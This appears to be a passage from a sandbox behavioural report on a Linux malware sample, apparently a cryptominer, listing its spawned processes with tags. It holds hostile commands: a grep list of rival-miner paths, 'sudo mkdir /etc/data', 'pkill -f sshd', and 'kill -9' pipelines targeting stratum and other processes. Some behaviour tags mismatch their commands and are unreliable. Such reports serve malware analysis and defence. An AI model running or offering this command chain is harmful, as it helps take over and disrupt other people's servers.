  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1774
- /bin/grep
  grep -q systemd
  2⤵
  PID:1776
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1778
- /bin/grep
  grep exe
  2⤵
  PID:1781
- /bin/ls
  ls -latrh /proc/partitions
  2⤵
  PID:1780
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1783
- /bin/grep
  grep -q systemd
  2⤵
  PID:1785
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1787
- /bin/grep
  grep exe
  2⤵
  PID:1790
- /bin/ls
  ls -latrh /proc/sched_debug
  2⤵
  PID:1789
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1792
- /bin/grep
  grep -q systemd
  2⤵
  PID:1794
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1796
- /bin/grep
  grep exe
  2⤵
  PID:1799
- /bin/ls
  ls -latrh /proc/schedstat
  2⤵
  PID:1798
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1801
- /bin/grep
  grep -q systemd
  2⤵
  PID:1803
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1805
- /bin/grep
  grep exe
  2⤵
  PID:1808
- /bin/ls
  ls -latrh /proc/self
  2⤵
  PID:1807
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1810
- /bin/grep
  grep -q systemd
  2⤵
  PID:1812
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1814
- /bin/grep
  grep exe
  2⤵
  PID:1817
- /bin/ls
  ls -latrh /proc/slabinfo
  2⤵
  PID:1816
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1819
- /bin/grep
  grep -q systemd
  2⤵
  PID:1821
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1823
- /bin/grep
  grep exe
  2⤵
  PID:1826
- /bin/ls
  ls -latrh /proc/softirqs
  2⤵
  PID:1825
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1828
- /bin/grep
  grep -q systemd
  2⤵
  PID:1830
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1832
- /bin/grep
  grep exe
  2⤵
  PID:1835
- /bin/ls
  ls -latrh /proc/stat
  2⤵
  PID:1834
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1837
- /bin/grep
  grep -q systemd
  2⤵
  PID:1839
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1841
- /bin/grep
  grep exe
  2⤵
  PID:1844
- /bin/ls
  ls -latrh /proc/swaps
  2⤵
  PID:1843
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1846
- /bin/grep
  grep -q systemd
  2⤵
  PID:1848
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1850
- /bin/grep
  grep exe
  2⤵
  PID:1853
- /bin/ls
  ls -latrh /proc/sys
  2⤵
  PID:1852
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1855
- /bin/grep
  grep -q systemd
  2⤵
  PID:1857
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1859
- /bin/grep
  grep exe
  2⤵
  PID:1862
- /bin/ls
  ls -latrh /proc/sysrq-trigger
  2⤵
  PID:1861
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1864
- /bin/grep
  grep -q systemd
  2⤵
  PID:1866
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1868
- /bin/grep
  grep exe
  2⤵
  PID:1871
- /bin/ls
  ls -latrh /proc/sysvipc
  2⤵
  - System Network Configuration Discovery
  PID:1870
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1873
- /bin/grep
  grep -q systemd
  2⤵
  PID:1875
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1877
- /bin/grep
  grep exe
  2⤵
  PID:1880
- /bin/ls
  ls -latrh /proc/thread-self
  2⤵
  PID:1879
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1882
- /bin/grep
  grep -q systemd
  2⤵
  PID:1884
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1886
- /bin/grep
  grep exe
  2⤵
  PID:1889
- /bin/ls
  ls -latrh /proc/timer_list
  2⤵
  PID:1888
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1891
- /bin/grep
  grep -q systemd
  2⤵
  PID:1893
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1895
- /bin/grep
  grep exe
  2⤵
  PID:1898
- /bin/ls
  ls -latrh /proc/tty
  2⤵
  PID:1897
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1900
- /bin/grep
  grep -q systemd
  2⤵
  PID:1902
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1904
- /bin/grep
  grep exe
  2⤵
  PID:1907
- /bin/ls
  ls -latrh /proc/uptime
  2⤵
  PID:1906
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1909
- /bin/grep
  grep -q systemd
  2⤵
  PID:1911
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1913
- /bin/grep
  grep exe
  2⤵
  PID:1916
- /bin/ls
  ls -latrh /proc/version
  2⤵
  PID:1915
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1918
- /bin/grep
  grep -q systemd
  2⤵
  PID:1920
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1922
- /bin/grep
  grep exe
  2⤵
  PID:1925
- /bin/ls
  ls -latrh /proc/vmallocinfo
  2⤵
  PID:1924
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1927
- /bin/grep
  grep -q systemd
  2⤵
  PID:1929
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1931
- /bin/grep
  grep exe
  2⤵
  PID:1934
- /bin/ls
  ls -latrh /proc/vmstat
  2⤵
  PID:1933
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1936
- /bin/grep
  grep -q systemd
  2⤵
  PID:1938
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1940
- /bin/grep
  grep exe
  2⤵
  PID:1943
- /bin/ls
  ls -latrh /proc/zoneinfo
  2⤵
  PID:1942
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1945
- /bin/grep
  grep -q systemd
  2⤵
  PID:1947
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1949
- /usr/bin/id
  id -u
  2⤵
  PID:1950
- /usr/bin/sudo
  sudo mkdir /etc/data
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:1951
- - /bin/mkdir
    mkdir /etc/data
    3⤵
    PID:1952
- /usr/bin/id
  id -u
  2⤵
  PID:1953
- /bin/uname
  uname -i
  2⤵
  - Removes the immutable protection flag from a file
  PID:1954
- /bin/uname
  uname -m
  2⤵
  PID:1955
- /bin/grep
  grep -v grep
  2⤵
  PID:1959
- /bin/grep
  grep -e /dev
  2⤵
  PID:1958
- /bin/ls
  ls -la /etc/data
  2⤵
  PID:1957
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  - Reads CPU attributes
  PID:1960
- /usr/bin/pkill
  pkill -f htop
  2⤵
  - Reads CPU attributes
  PID:1961
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1963
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  - Reads CPU attributes
  PID:1964
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  - Reads CPU attributes
  PID:1965
- /usr/bin/pkill
  pkill -f sysupdater
  2⤵
  - Reads CPU attributes
  PID:1966
- /usr/bin/pkill
  pkill -f php-update.service
  2⤵
  - Reads CPU attributes
  PID:1967
- /usr/bin/pkill
  pkill -f update-setup
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1968
- /bin/grep
  grep :1414
  2⤵
  PID:1970
- /bin/grep
  grep -v -
  2⤵
  PID:1973
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1972
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1971
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1974
- /bin/grep
  grep -v grep
  2⤵
  PID:1977
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1979
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1978
- /bin/grep
  grep rtw88_pcied
  2⤵
  PID:1976
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1975
- /bin/grep
  grep -v grep
  2⤵
  PID:1982
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1983
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1984
- /bin/grep
  grep stratum
  2⤵
  PID:1981
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1980
- /bin/grep
  grep -v grep
  2⤵
  PID:1987
- /bin/grep
  grep Sofia
  2⤵
  PID:1986
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1988
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1989
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1985
- /usr/bin/pkill
  pkill -f Sofia
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1990
- /bin/grep
  grep -v grep
  2⤵
  PID:1993
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1995
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1994
- /bin/grep
  grep tracepath
  2⤵
  PID:1992
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:1991
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2000
- /bin/grep
  grep -v grep
  2⤵
  PID:1998
- /bin/grep
  grep /dot
  2⤵
  PID:1997
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1996
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1999
- /bin/grep
  grep -v grep
  2⤵
  PID:2003
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2005
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2004
- /bin/grep
  grep "php-fpm pool www"
  2⤵
  PID:2002
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2001
- /bin/grep
  grep -v grep
  2⤵
  PID:2008
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2009
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  - Reads runtime system information
  PID:2010
- /bin/grep
